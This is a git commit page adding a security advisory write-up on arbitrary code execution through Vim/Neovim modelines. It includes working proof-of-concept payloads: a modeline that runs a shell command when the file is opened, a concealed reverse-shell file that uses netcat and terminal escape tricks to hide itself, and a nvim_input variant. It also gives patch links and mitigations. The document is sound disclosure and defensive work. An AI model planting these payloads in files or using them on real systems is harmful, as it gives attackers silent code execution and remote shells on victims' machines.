mirror of https://github.com/numirias/security.git
Add Vim/Neovim ACE write-up
This commit is contained in:
numirias
parent
0cb9698f77
commit
b231991a0f
|
|
@ -0,0 +1,139 @@
|
||||||
|
*by Arminius ([@rawsec](https://twitter.com/rawsec))*
|
||||||
|
|
||||||
|
Vim/Neovim Arbitrary Code Execution via Modelines
|
||||||
|
=================================================
|
||||||
|
|
||||||
|
```
|
||||||
|
Product: Vim < 8.1.1365, Neovim < 0.3.6
|
||||||
|
Type: Arbitrary Code Execution
|
||||||
|
CVE: -
|
||||||
|
Date: 2019-06-04
|
||||||
|
Author: Arminius (@rawsec)
|
||||||
|
```
|
||||||
|
|
||||||
|
Summary
|
||||||
|
-------
|
||||||
|
|
||||||
|
Vim before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code
|
||||||
|
execution via modelines by opening a specially crafted text file.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of concept
|
||||||
|
----------------
|
||||||
|
|
||||||
|
- Create `poc.txt`:
|
||||||
|
|
||||||
|
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
|
||||||
|
|
||||||
|
- Ensure that the modeline option has not been disabled (`:set modeline`).
|
||||||
|
|
||||||
|
- Open the file in Vim:
|
||||||
|
|
||||||
|
$ vim poc.txt
|
||||||
|
|
||||||
|
- The system will execute `uname -a`.
|
||||||
|
|
||||||
|
Proof of concept 2 (reverse shell)
|
||||||
|
----------------------------------
|
||||||
|
|
||||||
|
This PoC outlines a real-life attack approach in which a reverse shell
|
||||||
|
is launched once the user opens the file. To conceal the attack, the file will
|
||||||
|
be immediately rewritten when opened. Also, the PoC uses terminal escape
|
||||||
|
sequences to hide the modeline when the content is printed with `cat`. (`cat
|
||||||
|
-v` reveals the actual content.)
|
||||||
|
|
||||||
|
`shell.txt`:
|
||||||
|
|
||||||
|
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
|
||||||
|
|
||||||
|
Demo (victim left, attacker right):
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Details
|
||||||
|
-------
|
||||||
|
|
||||||
|
The modeline feature allows to specify custom editor options near the start or
|
||||||
|
end of a file. This feature is enabled by default and applied to all file types,
|
||||||
|
including plain `.txt`. A typical modeline:
|
||||||
|
|
||||||
|
/* vim: set textwidth=80 tabstop=8 */
|
||||||
|
|
||||||
|
For security reasons, only a subset of options is permitted in modelines, and
|
||||||
|
if the option value contains an expression, it is executed in a sandbox: [[1]]
|
||||||
|
|
||||||
|
No other commands than "set" are supported, for security reasons (somebody
|
||||||
|
might create a Trojan horse text file with modelines). And not all options
|
||||||
|
can be set. For some options a flag is set, so that when it's used the
|
||||||
|
|sandbox| is effective.
|
||||||
|
|
||||||
|
The sandbox is meant to prevent side effects: [[2]]
|
||||||
|
|
||||||
|
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
|
||||||
|
'foldtext' options may be evaluated in a sandbox. This means that you are
|
||||||
|
protected from these expressions having nasty side effects. This gives some
|
||||||
|
safety for when these options are set from a modeline.
|
||||||
|
|
||||||
|
However, the `:source!` command (with the bang [`!`] modifier) can be used to
|
||||||
|
bypass the sandbox. It reads and executes commands from a given file as if
|
||||||
|
*typed manually*, running them after the sandbox has been left. [[3]]
|
||||||
|
|
||||||
|
:so[urce]! {file} Read Vim commands from {file}. These are commands
|
||||||
|
that are executed from Normal mode, like you type
|
||||||
|
them.
|
||||||
|
|
||||||
|
Thus, one can trivially construct a modeline that runs code outside the sandbox:
|
||||||
|
|
||||||
|
# vim: set foldexpr=execute('\:source! some_file'):
|
||||||
|
|
||||||
|
An additional step is needed for Neovim which blacklists `execute()`: [[4]]
|
||||||
|
|
||||||
|
execute({command} [, {silent}]) *execute()*
|
||||||
|
Execute {command} and capture its output.
|
||||||
|
[...]
|
||||||
|
This function is not available in the |sandbox|.
|
||||||
|
|
||||||
|
Here, `assert_fails()` can be used instead, which takes a `{cmd}` argument, too: [[5]]
|
||||||
|
|
||||||
|
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
|
||||||
|
Run {cmd} and add an error message to |v:errors| if it does
|
||||||
|
NOT produce an error.
|
||||||
|
|
||||||
|
The following modeline utilizes a fold expression to run `source! %` to
|
||||||
|
execute the current file, which in turn executes `uname -a || "(garbage)"` as a
|
||||||
|
shell command:
|
||||||
|
|
||||||
|
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
|
||||||
|
|
||||||
|
Additionally, the Neovim-only function `nvim_input()` is vulnerable to the same
|
||||||
|
approach via e.g.:
|
||||||
|
|
||||||
|
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
|
||||||
|
|
||||||
|
(In the past, other modeline-related vulnerabilities have been patched in Vim - see [CVE-2002-1377](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1377), [CVE-2016-1248](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1248).)
|
||||||
|
|
||||||
|
Patches
|
||||||
|
-------
|
||||||
|
|
||||||
|
- [Vim patch 8.1.1365](https://github.com/vim/vim/commit/5357552)
|
||||||
|
- [Neovim patch](https://github.com/neovim/neovim/pull/10082) (released in [v0.3.6](https://github.com/neovim/neovim/releases/tag/v0.3.6))
|
||||||
|
|
||||||
|
Beyond patching, it's recommended to disable modelines in the vimrc (`set
|
||||||
|
nomodeline`), to use the [securemodelines](https://github.com/ciaranm/securemodelines/)
|
||||||
|
plugin, or to disable `modelineexpr` (since patch 8.1.1366, Vim-only) to disallow
|
||||||
|
expressions in modelines.
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
--------
|
||||||
|
|
||||||
|
- 2019-05-22 Vim and Neovim maintainers notified
|
||||||
|
- 2019-05-23 Vim patch released
|
||||||
|
- 2019-05-29 Neovim patch released
|
||||||
|
|
||||||
|
[1]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582
|
||||||
|
[2]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050
|
||||||
|
[3]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182
|
||||||
|
[4]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L3247
|
||||||
|
[5]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L2494
|
||||||
|
[6]: https://github.com/vim/vim/releases/tag/v8.1.1365
|
||||||
|
[7]: https://github.com/neovim/neovim/releases/tag/v0.3.6
|
||||||
Loading…
Reference in New Issue